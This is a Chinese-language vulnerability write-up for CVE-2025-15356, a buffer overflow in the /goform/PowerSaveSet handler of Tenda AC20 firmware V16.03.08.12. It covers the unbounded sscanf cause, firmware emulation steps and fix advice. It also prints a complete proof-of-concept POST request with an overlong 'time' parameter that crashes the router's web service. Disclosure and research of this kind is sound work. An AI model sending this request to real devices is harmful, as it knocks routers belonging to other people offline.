[CVE-2025-15356]Tenda AC20 缓冲区溢出

漏洞描述
漏洞名称 Tenda AC20 Buffer Overflow
发现时间/披露时间 2025-12-30 发现来源 https://nvd.nist.gov/vuln/detail/CVE-2025-15356
CVE编号 CVE-2025-15356 CVSS 4.0评分 7.4
CNVD编号 CNNVD编号
漏洞类型 漏洞危害等级 高危
POC情况 EXP情况
在野利用 研究情况
危害描述 在 Tenda AC20 路由器固件版本 V16.03.08.12 中发现一处缓冲区溢出漏洞。 攻击者通过向 HTTP 接口路径 /goform/PowerSaveSet 发送精心构造的 POST 请求, 可触发目标进程异常,造成拒绝服务(DoS),在特定条件下亦可能具备进一步利用的风险。
相关漏洞 CVE-2025-14654 CVE-2025-8939
时间线 报送时间: 收录时间:2025-12-30 更新时间:2025-12-31

基本信息

漏洞概述

在 Tenda AC20 路由器固件版本 V16.03.08.12 中发现一处缓冲区溢出漏洞。攻击者通过向 HTTP 接口路径 /goform/PowerSaveSet 发送精心构造的 POST 请求,可触发目标进程异常,造成拒绝服务(DoS),在特定条件下亦可能具备进一步利用的风险。

该问题与对用户可控字符串的解析有关:在相关处理逻辑中使用了类似如下的 sscanf 调用对输入进行拆分赋值,但未对目标缓冲区写入长度进行边界限制。
sscanf(s, "%[^:]:%[^-]-%[^:]:%s", v7, v8, v9, v10);

影响范围与危害

  • 拒绝服务(DoS):可导致 Web 管理服务或相关进程崩溃,表现为页面不可访问、服务异常或设备重启等。

漏洞成因分析

接口 /goform/PowerSaveSet 在处理参数 time 等字段时,会在若干参数非空的条件下进入对应分支逻辑,并最终调用 sscanf 使用 %[^:]%[^-]%s 等格式从输入字符串 s 解析多个片段到目标缓冲区。

上述格式在未指定最大宽度的情况下,会一直读取直到遇到分隔符(或字符串结束),并将结果写入目标缓冲区;若目标缓冲区长度不足且缺少额外边界检查,则会产生越界写 ,从而触发缓冲区溢出。

当攻击者构造超长 time 参数时,sscanf 解析写入过程会覆盖相邻内存,导致程序异常终止。

触发条件

  • 目标设备运行受影响固件版本(<= V16.03.08.12)。
  • 可向设备 HTTP 管理接口发送请求(是否需要认证取决于设备配置与接口访问控制策略)。
  • 请求参数中 powerSavingEntimepowerSaveDelayledCloseType 等字段满足进入处理分支的非空条件。
  • 其中 time 被构造为超长值以触发 sscanf 越界写。

复现环境

  • 设备型号: Tenda AC20
  • 固件版本: V16.03.08.12
  • 测试端: 可使用浏览器/脚本工具(curl、Burp Suite 等)发送构造的 HTTP POST 请求

复现步骤

  1. 使用 binwalk(或在线工具 IoT固件分析工具)对固件进行解包:

    bash 复制代码
    binwalk -Me US_AC20V1.0re_V16.03.08.12_cn_TDC01.bin
  2. 在 Ubuntu 虚拟机中使用 qemu-mipsel-static 进行固件仿真,启动 httpd

    bash 复制代码
    sudo chroot . ./qemu-mipsel-static ./bin/httpd
  3. 启动后进程一直卡在 "Welcome to"。结合对 httpd 的分析,需在宿主环境配置虚拟网桥 br0

    bash 复制代码
    sudo brctl addbr br0
    sudo ifconfig br0 192.168.0.1/24
  4. 重新启动仿真环境后访问 http://192.168.0.1,页面提示 Page not found

  5. 进一步检查 Web 目录结构:webroot 为符号链接,指向 /var/webroot,但该目录为空:

  6. webroot_ro 中的静态资源复制到 /var/webroot,刷新页面后可正常加载:

    bash 复制代码
    cp -rf webroot_ro/* var/webroot/
  7. 向接口 /goform/PowerSaveSet 发送 PoC 中的 POST 请求(重点为构造超长 time 参数):

  8. 观察现象:Web 服务不可用、相关进程崩溃(可表现为管理页面异常/无法访问等):

PoC

具体exp见CVE-2025-15356

JSON 复制代码
POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/main.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 485

powerSavingEn=1&time=uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&powerSaveDelay=1&ledCloseType=1

修复建议

  • 对所有来自 HTTP 参数的字符串解析与拷贝操作加入严格的长度校验。
  • 避免使用不带宽度限制的 sscanf 解析到固定长度缓冲区。
    • 例如为每个 %s / %[^:] / %[^-] 指定最大宽度(与目标缓冲区大小一致并预留 \0)。
  • 在解析前对输入整体长度进行上限限制,并在异常情况下安全返回错误。
  • 开启并验证编译与运行时防护(如栈保护、ASLR、FORTIFY 等),并进行模糊测试覆盖相关接口。
相关推荐
liulilittle13 小时前
XDP VNP虚拟以太网关(章节:三)
网络·c++·网络协议·信息与通信·通信·xdp
无限大.13 小时前
为什么游戏需要“加载时间“?——从硬盘读取到内存渲染
网络·人工智能·游戏
-To be number.wan13 小时前
两道经典IP子网题解析|掌握CIDR与广播地址的奥秘
网络·网络协议·tcp/ip·计算机网络
德迅云安全-小娜14 小时前
主机安全功能:主机的风险与监测
网络·安全
科技块儿14 小时前
【需求:GDPR合规下做地域定向】解决方案:仅用IP离线库输出国家码,不存原始IP?
服务器·网络·tcp/ip
不知疲倦的仄仄14 小时前
第一天:从 ByteBuffer 内存模型到网络粘包处理实战
java·网络·nio
testpassportcn14 小时前
Technology Solutions Professional NS0-005 認證介紹【NetApp 官方認證
网络·学习·改行学it
C_心欲无痕14 小时前
网络相关 - http1.1 与 http2
前端·网络
小白电脑技术14 小时前
网络进阶教程:节点小宝中心节点策略的反向使用方法!
网络·电脑
lin张14 小时前
Kubernetes 核心网络方案与资源管理(一)
网络·容器·kubernetes